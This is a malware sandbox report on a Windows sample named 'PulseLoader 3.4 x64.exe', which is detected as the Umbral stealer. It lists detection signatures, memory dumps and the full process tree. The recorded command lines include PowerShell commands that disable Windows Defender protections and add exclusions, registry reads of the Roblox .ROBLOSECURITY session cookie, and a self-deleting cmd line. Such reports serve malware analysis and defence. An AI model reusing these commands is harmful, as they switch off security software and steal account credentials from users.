Analysis
- max time kernel
0s - max time network
21s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
09/05/2024, 02:10
General
- Target PulseLoader 3.4 x64.exe
- Size 234KB
- Sample240509-cl5axafe34
- SHA256 e13794d15691acbbd898adcbbca15b903ee738c46ad7237d5d8e018385eeb4e0
Malware Config
Signatures
- Detect Umbral payload 1 IoCs
- Umbral
Umbral stealer is an opensource moduler stealer written in C#.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe"C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe"2⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe" && pause2⤵
-
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_0nkvrye1.jvn.ps1
memory/2508-72-0x0000029BE3100000-0x0000029BE3112000-memory.dmp
memory/2508-35-0x0000029BCA600000-0x0000029BCA61E000-memory.dmp
memory/2508-90-0x0000029BE32B0000-0x0000029BE3459000-memory.dmp
memory/2508-91-0x00007FFD30850000-0x00007FFD31311000-memory.dmp
memory/2508-2-0x00007FFD30850000-0x00007FFD31311000-memory.dmp
memory/2508-33-0x0000029BE3160000-0x0000029BE31D6000-memory.dmp
memory/2508-34-0x0000029BE2F80000-0x0000029BE2FD0000-memory.dmp
memory/2508-71-0x0000029BCA640000-0x0000029BCA64A000-memory.dmp
memory/2508-0-0x0000029BC8980000-0x0000029BC89C0000-memory.dmp
memory/2508-1-0x00007FFD30853000-0x00007FFD30855000-memory.dmp
memory/4472-3-0x000001DABBF40000-0x000001DABBF62000-memory.dmp
memory/4472-15-0x00007FFD30850000-0x00007FFD31311000-memory.dmp
memory/4472-13-0x00007FFD30850000-0x00007FFD31311000-memory.dmp
memory/4472-14-0x00007FFD30850000-0x00007FFD31311000-memory.dmp
memory/4472-18-0x00007FFD30850000-0x00007FFD31311000-memory.dmp